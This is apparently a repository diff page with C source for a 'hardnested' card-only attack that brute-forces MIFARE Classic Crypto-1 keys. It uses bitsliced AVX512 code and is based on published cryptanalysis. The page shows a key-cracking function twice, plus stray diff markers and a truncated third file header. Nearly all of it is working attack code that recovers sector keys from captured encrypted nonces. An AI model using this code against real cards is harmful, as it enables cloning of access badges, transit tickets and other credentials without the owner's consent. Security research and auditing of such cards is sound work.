// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
// brute forcing (including roll back).
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
bitslice_t * restrict state_p;
uint64_t key = -1;
uint64_t bucket_states_tested = 0;
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
uint32_t bitsliced_blocks = 0;
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
// constant ones/zeroes
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice all the even states
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
if (bitsliced_even_states == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
if (bitsliced_even_feedback == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
if (lstate_p == NULL) {
printf("Out of memory error in brute_force. Aborting... \n");
exit(4);
}
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
// bitslice even half-states
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
bucket_size[bitsliced_blocks] = max_slices;
uint32_t slice_idx;
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
uint32_t e = *(p_even + slice_idx);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
// padding with last even state
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
uint32_t e = *(p_even_end - 1);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
bitsliced_even_states[bitsliced_blocks] = lstate_p;
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
bitsliced_blocks++;
}
// bitslice every odd state to every block of even states
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
// early abort
if (*keys_found) {
goto out;
}
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
state_p = &states[KEYSTREAM_SIZE];
uint32_t o = *p_odd;
// pre-compute the odd feedback bit
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
// set odd state bits
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
if (o & 1) {
state_p[state_idx] = bs_ones;
} else {
state_p[state_idx] = bs_zeroes;
}
}
bitslice_value_t crypto1_bs_f20b_2[16];
bitslice_value_t crypto1_bs_f20b_3[8];
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
bitslice_value_t ksb[8];
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
crypto1_bs_f20b_2[0],
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
crypto1_bs_f20b_3[0]);
uint32_t * restrict p_even = p->states[EVEN_STATE];
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
// add the even state bits
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
}
// pre-compute first feedback bit vector. This is the same for all nonces
bitslice_value_t fbb[8];
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
// vector to contain test results (1 = passed, 0 = failed)
bitslice_t results = bs_ones;
// parity_bits
bitslice_value_t par[8];
par[0] = bs_zeroes.value;
uint32_t next_common_bits = 0;
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
// common bits with preceding test nonce
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
state_p -= common_bits; // and reuse the already calculated state bits
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
// or the highest bit which differs from the previous nonce
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
// decrypt nonce bits
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
// compute real parity bits on the fly
parity_bit_vector ^= decrypted_nonce_bit_vector;
// update state
state_p--;
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
// update crypto1 subfunctions
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
if (ks_idx > KEYSTREAM_SIZE - 8) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
} else {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
}
// update keystream bit
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
// for each completed byte:
if ((ks_idx & 0x07) == 0) {
// get encrypted parity bits
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
// decrypt parity bits
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
// compare actual parity bits with decrypted parity bits and take count in results vector
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
// make sure we still have a match in our set
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
// the short-circuiting also helps
if (results.bytes64[0] == 0 && results.bytes64[1] == 0 && results.bytes64[2] == 0 && results.bytes64[3] == 0) {
goto stop_tests;
}
// prepare for next nonce byte
parity_bit_vector = bs_zeroes.value;
}
// update feedback bit vector
if (ks_idx != 0) {
fb_bits =
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
}
// remember feedback and keystream vectors for later use
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
if (bit <= next_common_bits) { // if needed and not yet stored
fbb[bit] = fb_bits;
ksb[bit] = ks_bits;
par[bit] = parity_bit_vector;
}
}
// prepare for next nonce. Revert to initial state
state_p = &states[KEYSTREAM_SIZE];
}
// all nonce tests were successful: we've found a possible key in this block!
uint32_t *p_even_test = p_even;
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
uint64_t results64 = results.bytes64[results_word];
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
if (results64 & 0x01) {
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
struct Crypto1State pcs;
pcs.odd = *p_odd;
pcs.even = *p_even_test;
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
crypto1_get_lfsr(&pcs, &key);
bucket_states_tested += 64 * results_word + results_bit;
goto out;
}
}
results64 >>= 1;
p_even_test++;
if (p_even_test == p_even_end) {
goto stop_tests;
}
}
}
stop_tests:
bucket_states_tested += bucket_size[block_idx];
// prepare to set new states
state_p = &states[KEYSTREAM_SIZE];
continue;
}
}
out:
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
free_bitslice(bitsliced_even_states[block_idx]);
}
free(bitsliced_even_states);
free_bitslice(bitsliced_even_feedback);
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
return key;
}

View File

@ -0,0 +1,405 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
//
// brute forcing is based on @aczids bitsliced brute forcer
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
// - don't rollback. Start with 2nd byte of nonce instead
// - reuse results of filter subfunctions
// - reuse results of previous nonces if some first bits are identical
//
//-----------------------------------------------------------------------------
// aczid's Copyright notice:
//
// Bit-sliced Crypto-1 brute-forcing implementation
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
/*
Copyright (c) 2015-2016 Aram Verstegen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "hardnested_bruteforce.h"
#include <stdlib.h>
#if !defined _MSC_VER && !defined __APPLE__
#include <malloc.h>
#endif
#include "../crapto1.h"
#include "../parity.h"
#define MAX_BITSLICES 512
#define VECTOR_SIZE (MAX_BITSLICES/8)
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
typedef union {
bitslice_value_t value;
uint64_t bytes64[MAX_BITSLICES / 64];
uint8_t bytes[MAX_BITSLICES / 8];
} bitslice_t;
// filter function (f20)
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
// bit indexing
#define get_bit(n, word) (((word) >> (n)) & 1)
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
// size of crypto-1 state
#define STATE_SIZE 48
// size of nonce to be decrypted
#define KEYSTREAM_SIZE 24
// endianness conversion
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
#if defined (_WIN32)
#define malloc_bitslice(x) __builtin_assume_aligned(_aligned_malloc((x), MAX_BITSLICES/8), MAX_BITSLICES/8)
#define free_bitslice(x) _aligned_free(x)
#elif defined (__APPLE__)
static void *malloc_bitslice(size_t x) {
char *allocated_memory;
if (posix_memalign((void**) &allocated_memory, MAX_BITSLICES / 8, x)) {
return NULL;
} else {
return __builtin_assume_aligned(allocated_memory, MAX_BITSLICES / 8);
}
}
#define free_bitslice(x) free(x)
#else
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
#define free_bitslice(x) free(x)
#endif
// arrays of bitsliced states with identical values in all slices
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
// 1 and 0 vectors
static bitslice_t bs_ones;
static bitslice_t bs_zeroes;
void bitslice_test_nonces_AVX512(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
// initialize 1 and 0 vectors
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice nonces' 2nd to 4th byte
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
if (bit) {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
}
}
}
// bitslice nonces' parity (4 bits)
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
if (bit) {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
}
}
}
}
uint64_t crack_states_bitsliced_AVX512(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
// brute forcing (including roll back).
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
bitslice_t * restrict state_p;
uint64_t key = -1;
uint64_t bucket_states_tested = 0;
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
uint32_t bitsliced_blocks = 0;
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
// constant ones/zeroes
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice all the even states
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
if (bitsliced_even_states == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
if (bitsliced_even_feedback == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
if (lstate_p == NULL) {
printf("Out of memory error in brute_force. Aborting... \n");
exit(4);
}
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
// bitslice even half-states
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
bucket_size[bitsliced_blocks] = max_slices;
uint32_t slice_idx;
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
uint32_t e = *(p_even + slice_idx);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
// padding with last even state
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
uint32_t e = *(p_even_end - 1);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
bitsliced_even_states[bitsliced_blocks] = lstate_p;
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
bitsliced_blocks++;
}
// bitslice every odd state to every block of even states
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
// early abort
if (*keys_found) {
goto out;
}
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
state_p = &states[KEYSTREAM_SIZE];
uint32_t o = *p_odd;
// pre-compute the odd feedback bit
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
// set odd state bits
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
if (o & 1) {
state_p[state_idx] = bs_ones;
} else {
state_p[state_idx] = bs_zeroes;
}
}
bitslice_value_t crypto1_bs_f20b_2[16];
bitslice_value_t crypto1_bs_f20b_3[8];
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
bitslice_value_t ksb[8];
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
crypto1_bs_f20b_2[0],
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
crypto1_bs_f20b_3[0]);
uint32_t * restrict p_even = p->states[EVEN_STATE];
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
// add the even state bits
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
}
// pre-compute first feedback bit vector. This is the same for all nonces
bitslice_value_t fbb[8];
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
// vector to contain test results (1 = passed, 0 = failed)
bitslice_t results = bs_ones;
// parity_bits
bitslice_value_t par[8];
par[0] = bs_zeroes.value;
uint32_t next_common_bits = 0;
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
// common bits with preceding test nonce
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
state_p -= common_bits; // and reuse the already calculated state bits
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
// or the highest bit which differs from the previous nonce
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
// decrypt nonce bits
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
// compute real parity bits on the fly
parity_bit_vector ^= decrypted_nonce_bit_vector;
// update state
state_p--;
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
// update crypto1 subfunctions
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
if (ks_idx > KEYSTREAM_SIZE - 8) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
} else {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
}
// update keystream bit
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
// for each completed byte:
if ((ks_idx & 0x07) == 0) {
// get encrypted parity bits
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
// decrypt parity bits
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
// compare actual parity bits with decrypted parity bits and take count in results vector
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
// make sure we still have a match in our set
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
// the short-circuiting also helps
if (results.bytes64[0] == 0 && results.bytes64[1] == 0 && results.bytes64[2] == 0 && results.bytes64[3] == 0) {
goto stop_tests;
}
// prepare for next nonce byte
parity_bit_vector = bs_zeroes.value;
}
// update feedback bit vector
if (ks_idx != 0) {
fb_bits =
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
}
// remember feedback and keystream vectors for later use
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
if (bit <= next_common_bits) { // if needed and not yet stored
fbb[bit] = fb_bits;
ksb[bit] = ks_bits;
par[bit] = parity_bit_vector;
}
}
// prepare for next nonce. Revert to initial state
state_p = &states[KEYSTREAM_SIZE];
}
// all nonce tests were successful: we've found a possible key in this block!
uint32_t *p_even_test = p_even;
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
uint64_t results64 = results.bytes64[results_word];
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
if (results64 & 0x01) {
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
struct Crypto1State pcs;
pcs.odd = *p_odd;
pcs.even = *p_even_test;
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
crypto1_get_lfsr(&pcs, &key);
bucket_states_tested += 64 * results_word + results_bit;
goto out;
}
}
results64 >>= 1;
p_even_test++;
if (p_even_test == p_even_end) {
goto stop_tests;
}
}
}
stop_tests:
bucket_states_tested += bucket_size[block_idx];
// prepare to set new states
state_p = &states[KEYSTREAM_SIZE];
continue;
}
}
out:
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
free_bitslice(bitsliced_even_states[block_idx]);
}
free(bitsliced_even_states);
free_bitslice(bitsliced_even_feedback);
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
return key;
}

View File

@ -0,0 +1,386 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
